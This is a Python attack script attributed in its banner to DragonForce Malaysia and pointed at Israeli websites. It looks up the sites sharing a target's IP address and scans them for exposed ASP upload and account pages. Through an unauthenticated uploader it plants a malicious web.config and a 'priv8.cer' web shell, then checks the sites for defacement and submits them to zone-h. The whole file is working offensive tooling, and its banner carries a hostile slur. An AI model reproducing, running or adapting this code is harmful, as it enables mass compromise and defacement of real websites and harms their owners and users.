import cloudscraper, sys, os, colorama, time, ctypes, datetime, sys, platform
from urllib.parse import urlparse
from colorama import Fore, Back, Style
from datetime import date
from time import gmtime, strftime

today = date.today()
d2 = today.strftime("%B %d, %Y")

if platform.system()=='Linux':
    os.system('clear')
    sys.stdout.write("\x1b]2;Priv8 Tools DFM\x07")
else:
    os.system('cls')
    ctypes.windll.kernel32.SetConsoleTitleW(f'Priv8 Tools DFM | {d2}')



print(f"""{Style.BRIGHT + Fore.RED}
 ██████╗ ██████╗  █████╗  ██████╗  ██████╗ ███╗   ██╗███████╗ ██████╗ ██████╗  ██████╗███████╗   ██╗ ██████╗ 
 ██╔══██╗██╔══██╗██╔══██╗██╔════╝ ██╔═══██╗████╗  ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝   ██║██╔═══██╗
 ██║  ██║██████╔╝███████║██║  ███╗██║   ██║██╔██╗ ██║█████╗  ██║   ██║██████╔╝██║     █████╗     ██║██║   ██║
 ██║  ██║██╔══██╗██╔══██║██║   ██║██║   ██║██║╚██╗██║██╔══╝  ██║   ██║██╔══██╗██║     ██╔══╝     ██║██║   ██║
 ██████╔╝██║  ██║██║  ██║╚██████╔╝╚██████╔╝██║ ╚████║██║     ╚██████╔╝██║  ██║╚██████╗███████╗██╗██║╚██████╔╝
 ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═══╝╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚═════╝╚══════╝╚═╝╚═╝ ╚═════╝ 
                                                                                                             
{Fore.WHITE}═══════════════════════════════════════════════════════════════════════════════════════════════════════════════
{Style.BRIGHT + Fore.YELLOW}  
                               Priv8 PoC Israhell Made By Manualize and Eagle Eye
                                   Func reverse ip lookup scan exploitable server
                                            https://dragonforce.io
                                            Telegram: dragonforceio
                                Get Started With (pip install -r requirements.txt)                                                 

{Fore.WHITE}═══════════════════════════════════════════════════════════════════════════════════════════════════════════════
""")

def helpdesk():
    print(Style.BRIGHT+"\t\t\tUsage (reverse ip lookup): python exp.py l target.com")
    print(Style.BRIGHT+"\t\t\tUsage (Check Exploitable): python exp.py e dfm_sitelist.txt")
    print(Style.BRIGHT+"\t\t\tUsage (Upload Shell): python exp.py x vulnsite.txt")
    print(Style.BRIGHT+"\t\t\tUsage (Check deface + zone-h submission): python exp.py c vulnsite.txt")

def checkWeb(web):
    urlArr = urlparse(web)
    if(urlArr.scheme=="https"):
        return web.replace("https://","")
    elif(urlArr.scheme=="http"):
        return web.replace("http://","")
    else:
        return web.replace("/","")


def reverse_ip(target):
    url = checkWeb(target)
    api = "https://api.hackertarget.com/reverseiplookup/?q="
    scraper = cloudscraper.create_scraper(
    browser={
        'browser': 'firefox',
        'platform': 'linux',
        'mobile': False
    }
)
    res = scraper.get(api+target)
    if(res.status_code==200 and res.text=='error check your search parameter'):
        print(Style.BRIGHT+"\t\t\t\terror check your search parameter")
        sys.exit(0)
        os._exit(0)
    else:
        i = 0
        dfmfile = open('dfm_'+target+'.txt','w')
        for line in res.text:
            dfmfile.write(line)
        dfmfile.close()
        count = open('dfm_'+target+'.txt','r')
        c = count.readlines()
        for no in c:
            i += 1
        print(Fore.BLUE+"\t\t\t\t\t\tTotal site found: {}".format(i))

def arglength():
    if(len(sys.argv)>3 or len(sys.argv)<=1):
        return False
    else:
        return True

def position(arr,types):
    if(types=="l" or types=="e" or types=="x" or types=="c"):
        return arr.index(types) + 1
    else:
        print(Style.BRIGHT+"\t\t\t\t\tCommand not found!")
        helpdesk()
        sys.exit(0)
        os._exit(0)

def exploiter(wordlist):
    cpf = "cpanel/uploader.asp"
    shelled = []
    scraper = cloudscraper.create_scraper(
    browser={
        'browser': 'firefox',
        'platform': 'linux',
        'mobile': False
    }
)   
    try:
        f = open(wordlist,'r')
        lines = f.readlines()
        for line in lines:
            try:
                uploader = scraper.get("http://"+line.replace("\n","")+"/"+cpf,timeout=3)
                if uploader.status_code==200:
                    headers = {"Content-Type":"multipart/form-data"}
                    payload = {'file': ('web.config', open('shell/config.txt', 'rb'),'image/jpeg')}
                    webconf = scraper.post("http://"+line.replace("\n","")+"/"+cpf,files=payload,headers=headers)
                    if 'web.config' in webconf.text:
                        shells = {'file': ('priv8.cer', open('shell/shell.txt', 'rb'),'image/jpeg')}
                        upfile = scraper.post("http://"+line.replace("\n","")+"/"+cpf,files=shells,headers=headers)
                        if 'priv8.cer' in upfile.text:
                            print(Style.BRIGHT+Fore.GREEN+"Successfully uploaded! -> {}".format(upfile.text))
                            shelled.append(upfile.text)
                else:
                    print(Style.BRIGHT+Fore.RED+"Not vulnerable -> {}".format(line.replace("\n",""))+Fore.BLUE+" (Maybe vuln from authentication)")
            except:
                print(Style.BRIGHT+Fore.RED+"Error while connecting site -> {}".format(line.replace("\n","")))
        c = open('shelled.txt','a')
        for sh in shelled:
            c.write(sh+"\n")
        c.close()
        print(Fore.BLUE+"\nShelled site saved in shelled.txt")
    except:
        print("File not found!")


def expPath(wordlist):
    exp = "myAccount.asp"
    cpf = "cpanel/uploader.asp"
    scraper = cloudscraper.create_scraper(
    browser={
        'browser': 'firefox',
        'platform': 'linux',
        'mobile': False
    }
)
    try:
        f = open(wordlist,'r')
        lines = f.readlines()
        vulnsite = []
        for line in lines:
            try:
                gotcha = scraper.get("http://"+line.replace("\n","")+"/"+exp,timeout=3)
                gotchx = scraper.get("http://"+line.replace("\n","")+"/"+cpf,timeout=3)
                if(gotcha.status_code==200 or gotchx.status_code==200):
                    print(Style.BRIGHT+Fore.WHITE+"\t\t\t-------------------------------------------------------------")
                    print(Fore.BLUE+"\t\t\tSite may vulnerable for registration -> {}".format(line))
                    vulnsite.append(line)
                    if 'סיסמא' in gotcha.text:
                        print(Fore.GREEN+"\t\t\t\t  **Site exploitable from authentication!**")
                        print(Style.BRIGHT+Fore.WHITE+"\t\t\t-------------------------------------------------------------")
                    if gotchx.status_code==200:
                        print(Fore.GREEN+"\t\t\t\t  **Site exploitable for CSRF Upload!**")
                        print(Style.BRIGHT+Fore.WHITE+"\t\t\t-------------------------------------------------------------")
                else:
                    print(Fore.RED+"\t\t\tSeems not exploitable -> {}".format(line))
            except:
                print(Fore.YELLOW+"\t\t\tNo connection -> {} ".format(line))
        save = open('vulnsite.txt','a')
        for vuln in vulnsite:
            save.write(vuln)
        save.close()
        if os.path.isfile('vulnsite.txt'):
            print(Fore.GREEN+"\n\nAll Exploitable site saved in vulnsite.txt")
    except FileNotFoundError:
        print(Fore.RED+"\t\t\t\t\tFile could not be loaded!")

def checkDef(site): 
    path = "index.html" #Change defaced path file
    match = "www.dfus123.co.il" #Specify text in your defacement
    headers = {"Content-Type":"application/x-www-form-urlencoded"}
    zoneh = "https://zone-h.org/notify/single"
    notdefaced = []
    scraper = cloudscraper.create_scraper(
    browser={
        'browser': 'firefox',
        'platform': 'linux',
        'mobile': False
    }
)
    try:
        f = open(site,'r')
        lines = f.readlines()
        for line in lines:
            try:
                site = "http://"+line.replace("\n","")+"/"+path #Change defaced path file
                payload = {"defacer" : "DragonForceMalaysia","domain1" :  site,"hackmode" : 18, "reason" : 1} #Change defacer name
                gotcha = scraper.get(site)
                if(gotcha.status_code==200):
                    if match in gotcha.text:
                        print(Style.BRIGHT+Fore.GREEN+"Defaced : " + site)
                        try:
                            zonex = scraper.post(zoneh,data=payload,headers=headers,timeout=5)
                            if "ERROR" in zonex.text:
                                print(Style.BRIGHT+Fore.YELLOW+"Site already submitted!")
                            else:
                                print(Style.BRIGHT+Fore.GREEN+"Submitted to zone-h")
                        except:
                            print(Style.BRIGHT+Fore.RED+"Problem connecting zone-h")
                    else:
                        print(Style.BRIGHT+Fore.BLUE+"No deface yet : " + site)
                        notdefaced.append(site)
            except:
                print(Style.BRIGHT+Fore.RED+"Error connecting {} maybe SSL?".format(site))
        dfm = open("dfm_not.txt","w")
        for i in notdefaced:
            dfm.write(i + "\n")
        dfm.close()
    except:
        print(Style.BRIGHT+Fore.RED+"File not found!")

if(arglength()==False):
    helpdesk()
else:
    try:
        target = position(sys.argv,sys.argv[1])
        if(sys.argv[1]=="l"):
            reverse_ip(sys.argv[target])
        elif(sys.argv[1]=="x"):
            exploiter(sys.argv[target])
        elif(sys.argv[1]=="c"):
            checkDef(sys.argv[target])
        else:
            expPath(sys.argv[target])

    except KeyboardInterrupt:
        try:
            sys.exit(0)
        except SystemExit:
            os._exit(0)